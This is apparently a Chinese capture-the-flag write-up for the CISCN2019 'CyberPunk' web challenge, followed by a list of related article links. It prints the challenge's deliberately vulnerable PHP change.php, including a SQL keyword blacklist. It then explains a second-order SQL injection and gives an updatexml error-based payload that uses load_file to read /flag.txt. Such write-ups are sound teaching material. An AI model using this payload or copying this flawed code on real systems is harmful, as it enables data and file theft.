[CISCN2019 華北賽區 Day1 Web5]CyberPunk
知識點
- 檔案包含
- 程式碼審計
- 二次注入,報錯注入
WP
真的很煩,從昨天晚上開始,今天早上想了好幾個小時沒想明白這題怎麼弄flag。實在受不了了看了WP,才發現這flag名字不是/flag而是/flag.txt,草了,又因為這樣的題目白白浪費了幾個小時的時間。
除去flag檔名,這個題目不算難,就是基本的程式碼審計,找二次注入點然後注就完事了。。
首先進入環境,對這個環境的功能稍微瞭解一下,f12看一下原始碼,發現了提示?file?
經過嘗試,發現是檔案包含,利用PHP偽協議讀一下所有的原始碼,還嘗試直接讀/flag檔案,但是發現不行。看了一下index.php的原始碼,發現存在open_basedir的限制。
稍微把那些程式碼都審一下,最終發現了這個change.php:
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單修改成功";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "資訊不全";
}
?>
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
可以發現,我們一開始直接下單,傳入的address並沒有進行正則匹配,而是經過一次預編譯就直接送往了資料庫中。而這裡的change.php的這條語句直接把我們傳入的address拿出來拼接到這個update語句中,因此存在二次注入。直接用updatexml的報錯注入來讀/flag.txt就行了。不過因為updatexml的報錯注入存在長度限制,因此還要利用substr的擷取:
' and updatexml(1,concat(1,(select substr(load_file('/flag.txt'),1,32)),1),1)#
後記
其實一開始我還以為load_file也受到open_basedir的限制,直接讀/flag沒讀到以為還要繞過open_basedir,想著寫shell但是也沒成功,然後就各種迷。。。這個/flag.txt還是挺坑的。
相關文章
- [CISCN2019 華北賽區 Day2 Web1]Hack WorldWeb
- [CISCN2019 華北賽區 Day2 Web1]Hack World 1Web
- [CISCN2019 華北賽區 Day2 Web1]Hack World 1 盲注Web
- [CISCN2019 華東南賽區]Double Secret
- 聚焦實踐|綠盟科技支援全國大學生資訊保安競賽東北、華中賽區
- web5Web
- 第十四屆全國大學生資訊保安競賽-創新實踐能力賽|華中、東北賽區報名正式啟動
- 賽博朋克(Cyberpunk)會是個好的遊戲題材嗎?遊戲
- V1 Cyberpunk Edgerunners
- 正睿十一A班模擬賽day1
- [CISCN 2022 華東北] duck
- 華北門戶帶論壇
- 第十四屆全國大學生資訊保安競賽——創新實踐能力賽(東北賽區)比賽圓滿落幕
- 2021華為軟體精英挑戰賽總結(粵港澳賽區複賽第7)
- WUCG北區決賽完美收官,玩家歡度長假驚喜不斷!
- 【華為機試線上訓練】Day1
- 物聯雲倉:2020年區域倉儲市場分析報告 【華北篇】
- 【CH Round #48 - Streaming #3(NOIP模擬賽Day1)】 題解
- 華北門戶整站原始碼帶論壇原始碼
- 大資料盛宴!帆軟成功舉辦東北及華南地區大資料巡展大資料
- Writeup-北郵新生賽MRCTF-Misc題:ezmisc
- 目前容智在華北、華中、華南均設有分公司銷售中心
- WUCG嘉年華落地武漢,西區決賽再燃高校熱情
- 邁入全民元宇宙!2022 VRES華南賽區順利閉幕!元宇宙VR
- 清華校友三創論壇成功舉辦,第四屆清華校友三創大賽京津冀賽區正式啟動
- 第十四屆全國大學生資訊保安競賽創新實踐能力賽(華中賽區)比賽成功舉辦
- day1
- Python Day1Python
- 2020 ICPC 上海賽區
- 騰訊北極光新作首曝,SOC賽道再出黑馬?
- 東區決賽迴歸泉城濟南 齊魯大地見證嘉年華盛典
- Laravel 框架 day1Laravel框架
- Learning Java day1Java
- 2018華為雲區塊鏈全球開發者大賽——小連結 大未來區塊鏈
- 2019.5.11 海淀區賽之杯子
- ACM-ICPC 2018 徐州賽區網路預賽ACM
- 重磅:CACTER郵件安全閘道器榮膺2023數字中國創新大賽·華南賽區-三等獎
- WUCG西區決賽落下帷幕,東區決賽戰火即將點燃